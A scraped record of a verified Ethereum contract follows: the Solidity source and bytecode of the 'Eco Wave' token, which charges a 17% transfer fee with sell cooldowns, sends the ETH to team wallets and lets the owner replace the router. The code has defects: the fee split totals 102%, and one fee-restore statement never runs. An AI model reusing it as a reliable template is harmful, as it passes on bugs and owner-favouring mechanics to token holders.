7863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202c07dd3ae26d85e5562ea7733686c59ccaa38e97732f5cfc226e2be5d9c24fa664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,944 |
0x6428b48c01ef8288c7c9f4fd40958c582ef97447
|
/**
*Submitted for verification at Etherscan.io on 2021-07-16
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract WAVE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Eco Wave";
string private constant _symbol = "WAVE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 public _teamFee = 17;
uint256 public _storedTeamFee = _teamFee;
uint256 public _teamCutPct = 5;
uint256 public _marketingCutPct = 2;
uint256 public _charityCutPct = 1; //
uint256 public _liquidityCutPct = 9; // buyback
mapping(address => uint256) private sellCooldown;
mapping(address => uint256) private firstSell;
mapping(address => uint256) private sellNumber;
address payable private _teamAddress;
address payable private _marketingAddress;
address payable private _charityAddress;
address payable private _liquidityAddress;
uint256 public minimumContractTokenBalanceToSwap = 60000000 * 10**9;
uint256 public minimumContractEthBalanceToSwap = 3 * 10**16;
mapping(address => bool) private _isAdmin;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);
event SwapTokensForETH(uint256 amountIn, address[] path);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable teamFunds, address payable marketingFunds, address payable charityFunds, address payable liquidityFunds) {
_teamAddress = teamFunds;
_marketingAddress = marketingFunds;
_charityAddress = charityFunds;
_liquidityAddress = liquidityFunds;
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isAdmin[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isAdmin[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isAdmin[_teamAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isAdmin[_marketingAddress] = true;
_isExcludedFromFee[_charityAddress] = true;
_isAdmin[_charityAddress] = true;
_isExcludedFromFee[_liquidityAddress] = true;
_isAdmin[_liquidityAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() private {
if (_teamFee == 0) return;
_teamFee = 0;
}
function restoreAllFee() private {
_teamFee = _storedTeamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 contractTokenBalance = balanceOf(address(this)); // Get Token contract balance
bool overMinTokenBalance = contractTokenBalance >= minimumContractTokenBalanceToSwap;
uint256 contractETHBalance = address(this).balance; // Get ETH contract balance
bool overMinEthBalance = contractETHBalance >= minimumContractEthBalanceToSwap;
if (!_isAdmin[from] && !_isAdmin[from]) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen);
_teamFee = 17;
}
if (!inSwap && swapEnabled && to == uniswapV2Pair) {
require(amount <= balanceOf(uniswapV2Pair).mul(100).div(100) && amount <= _maxTxAmount);
require(sellCooldown[from] < block.timestamp);
if(firstSell[from] + (6 minutes) < block.timestamp) {
sellNumber[from] = 0;
}
if (sellNumber[from] == 0) {
_teamFee = 17;
sellNumber[from]++;
firstSell[from] = block.timestamp;
sellCooldown[from] = block.timestamp + (60 seconds);
}
else if (sellNumber[from] == 1) {
_teamFee = 17;
sellNumber[from]++;
sellCooldown[from] = block.timestamp + (2 minutes);
}
else if (sellNumber[from] == 2) {
_teamFee = 17;
sellNumber[from]++;
sellCooldown[from] = block.timestamp + (3 minutes);
}
else if (sellNumber[from] == 3) {
_teamFee = 17;
sellNumber[from]++;
sellCooldown[from] = firstSell[from] + (6 minutes);
}
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if (overMinTokenBalance) {
swapTokensForEth(contractTokenBalance);
}
if (overMinEthBalance) {
sendETHToFee(contractETHBalance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
emit SwapTokensForETH(tokenAmount, path);
}
function sendETHToFee(uint256 beforeSplit) private {
uint256 teamCut = beforeSplit.mul(31).div(100);
uint256 marketingCut = beforeSplit.mul(12).div(100);
uint256 charityCut = beforeSplit.mul(6).div(100);
uint256 liquidityCut = beforeSplit.mul(53).div(100);
_teamAddress.transfer(teamCut);
_marketingAddress.transfer(marketingCut);
_charityAddress.transfer(charityCut);
_liquidityAddress.transfer(liquidityCut);
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addInitialLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Nominal router.
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, address(this), block.timestamp);
swapEnabled = true;
liquidityAdded = true;
_maxTxAmount = 100000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualTokenSwap() external {
require(_msgSender() == owner());
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function recoverEthFromContract() external {
require(_msgSender() == owner());
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
( uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
_balances[address(this)] = _balances[address(this)].add(tTeam);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
return (tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 teamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterAddress(address newRouter) public onlyOwner() {
IUniswapV2Router02 _newPancakeRouter = IUniswapV2Router02(newRouter);
uniswapV2Pair = IUniswapV2Factory(_newPancakeRouter.factory()).createPair(address(this), _newPancakeRouter.WETH());
uniswapV2Router = _newPancakeRouter;
}
}
|
0x6080604052600436106101855760003560e01c80637e68e471116100d1578063b72c819d1161008a578063c9567bf911610064578063c9567bf91461054d578063d543dbeb14610564578063dd62ed3e1461058d578063e71fa815146105ca5761018c565b8063b72c819d146104e0578063b82db577146104f7578063c91f9106146105225761018c565b80637e68e471146103cc5780638da5cb5b146103f757806395d89b41146104225780639eb942e51461044d578063a9059cbb14610478578063b6d13968146104b55761018c565b80632bd3b0931161013e57806341cb87fc1161011857806341cb87fc1461032457806370a082311461034d578063715018a61461038a578063718ebd5e146103a15761018c565b80632bd3b093146102a3578063313ce567146102ce5780633885341e146102f95761018c565b80630210a83d1461019157806306fdde03146101a8578063095ea7b3146101d357806318160ddd1461021057806323b872dd1461023b57806327c8f835146102785761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105e1565b005b3480156101b457600080fd5b506101bd610acb565b6040516101ca919061313b565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f59190612d31565b610b08565b6040516102079190613120565b60405180910390f35b34801561021c57600080fd5b50610225610b26565b604051610232919061327d565b60405180910390f35b34801561024757600080fd5b50610262600480360381019061025d9190612ce2565b610b36565b60405161026f9190613120565b60405180910390f35b34801561028457600080fd5b5061028d610c0f565b60405161029a9190613052565b60405180910390f35b3480156102af57600080fd5b506102b8610c33565b6040516102c5919061327d565b60405180910390f35b3480156102da57600080fd5b506102e3610c39565b6040516102f09190613322565b60405180910390f35b34801561030557600080fd5b5061030e610c42565b60405161031b919061327d565b60405180910390f35b34801561033057600080fd5b5061034b60048036038101906103469190612c54565b610c48565b005b34801561035957600080fd5b50610374600480360381019061036f9190612c54565b610eee565b604051610381919061327d565b60405180910390f35b34801561039657600080fd5b5061039f610f37565b005b3480156103ad57600080fd5b506103b661108a565b6040516103c3919061327d565b60405180910390f35b3480156103d857600080fd5b506103e1611090565b6040516103ee919061327d565b60405180910390f35b34801561040357600080fd5b5061040c611096565b6040516104199190613052565b60405180910390f35b34801561042e57600080fd5b506104376110bf565b604051610444919061313b565b60405180910390f35b34801561045957600080fd5b506104626110fc565b60405161046f919061327d565b60405180910390f35b34801561048457600080fd5b5061049f600480360381019061049a9190612d31565b611102565b6040516104ac9190613120565b60405180910390f35b3480156104c157600080fd5b506104ca611120565b6040516104d7919061327d565b60405180910390f35b3480156104ec57600080fd5b506104f5611126565b005b34801561050357600080fd5b5061050c61117d565b604051610519919061327d565b60405180910390f35b34801561052e57600080fd5b50610537611183565b604051610544919061327d565b60405180910390f35b34801561055957600080fd5b50610562611189565b005b34801561057057600080fd5b5061058b60048036038101906105869190612d96565b611254565b005b34801561059957600080fd5b506105b460048036038101906105af9190612ca6565b61139c565b6040516105c1919061327d565b60405180910390f35b3480156105d657600080fd5b506105df611423565b005b6105e9611482565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610676576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066d906131fd565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061070530601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a764000061148a565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561074b57600080fd5b505afa15801561075f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107839190612c7d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e557600080fd5b505afa1580156107f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081d9190612c7d565b6040518363ffffffff1660e01b815260040161083a92919061306d565b602060405180830381600087803b15801561085457600080fd5b505af1158015610868573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088c9190612c7d565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061091530610eee565b60008030426040518863ffffffff1660e01b815260040161093b969594939291906130bf565b6060604051808303818588803b15801561095457600080fd5b505af1158015610968573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098d9190612dbf565b5050506001601660176101000a81548160ff0219169083151502179055506001601660156101000a81548160ff02191690831515021790555068056bc75e2d63100000601781905550601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610a75929190613096565b602060405180830381600087803b158015610a8f57600080fd5b505af1158015610aa3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac79190612d6d565b5050565b60606040518060400160405280600881526020017f45636f2057617665000000000000000000000000000000000000000000000000815250905090565b6000610b1c610b15611482565b848461148a565b6001905092915050565b6000670de0b6b3a7640000905090565b6000610b43848484611655565b610c0484610b4f611482565b610bff8560405180606001604052806028815260200161389460289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610bb5611482565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211f9092919063ffffffff16565b61148a565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60075481565b60006009905090565b600a5481565b610c50611482565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd4906131fd565b60405180910390fd5b60008190508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2857600080fd5b505afa158015610d3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d609190612c7d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc257600080fd5b505afa158015610dd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfa9190612c7d565b6040518363ffffffff1660e01b8152600401610e1792919061306d565b602060405180830381600087803b158015610e3157600080fd5b505af1158015610e45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e699190612c7d565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f3f611482565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc3906131fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60135481565b60085481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5741564500000000000000000000000000000000000000000000000000000000815250905090565b60055481565b600061111661110f611482565b8484611655565b6001905092915050565b60095481565b61112e611096565b73ffffffffffffffffffffffffffffffffffffffff1661114c611482565b73ffffffffffffffffffffffffffffffffffffffff161461116c57600080fd5b600047905061117a81612183565b50565b60065481565b60125481565b611191611482565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461121e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611215906131fd565b60405180910390fd5b601660159054906101000a900460ff1661123757600080fd5b6001601660146101000a81548160ff021916908315150217905550565b61125c611482565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e0906131fd565b60405180910390fd5b6000811161132c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611323906131bd565b60405180910390fd5b61135a606461134c83670de0b6b3a76400006123da90919063ffffffff16565b61245590919063ffffffff16565b6017819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601754604051611391919061327d565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61142b611096565b73ffffffffffffffffffffffffffffffffffffffff16611449611482565b73ffffffffffffffffffffffffffffffffffffffff161461146957600080fd5b600061147430610eee565b905061147f8161249f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f19061325d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561156a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115619061317d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611648919061327d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bc9061323d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611735576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172c9061315d565b60405180910390fd5b60008111611778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176f9061321d565b60405180910390fd5b600061178330610eee565b905060006012548210159050600047905060006013548210159050601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118425750601460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561205857601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161480156118f25750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b80156119485750600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561196f57601660149054906101000a900460ff1661196657600080fd5b60116005819055505b60168054906101000a900460ff161580156119965750601660179054906101000a900460ff165b80156119ef5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b15611fb057611a456064611a376064611a29601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610eee565b6123da90919063ffffffff16565b61245590919063ffffffff16565b8511158015611a5657506017548511155b611a5f57600080fd5b42600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611aaa57600080fd5b42610168600c60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af89190613392565b1015611b44576000600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611c82576011600581905550600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611be490613541565b919050555042600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550603c42611c3a9190613392565b600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611faf565b6001600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611d7c576011600581905550600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d2290613541565b9190505550607842611d349190613392565b600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fae565b6002600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611e76576011600581905550600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e1c90613541565b919050555060b442611e2e9190613392565b600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fad565b6003600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611fac576011600581905550600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611f1690613541565b9190505550610168600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f689190613392565b600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b5b60168054906101000a900460ff161580156120195750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614155b80156120315750601660179054906101000a900460ff165b15612057578215612046576120458461249f565b5b80156120565761205582612183565b5b5b5b600060019050600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120ff5750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561210957600090505b612115888888846127d0565b5050505050505050565b6000838311158290612167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215e919061313b565b60405180910390fd5b50600083856121769190613473565b9050809150509392505050565b60006121ac606461219e601f856123da90919063ffffffff16565b61245590919063ffffffff16565b905060006121d760646121c9600c866123da90919063ffffffff16565b61245590919063ffffffff16565b9050600061220260646121f46006876123da90919063ffffffff16565b61245590919063ffffffff16565b9050600061222d606461221f6035886123da90919063ffffffff16565b61245590919063ffffffff16565b9050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050158015612297573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015612300573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612369573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156123d2573d6000803e3d6000fd5b505050505050565b6000808314156123ed576000905061244f565b600082846123fb9190613419565b905082848261240a91906133e8565b1461244a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612441906131dd565b60405180910390fd5b809150505b92915050565b600061249783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612808565b905092915050565b60016016806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156124fc577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561252a5781602001602082028036833780820191505090505b5090503081600081518110612568577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561260a57600080fd5b505afa15801561261e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126429190612c7d565b8160018151811061267c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126e330601560009054906101000a900473f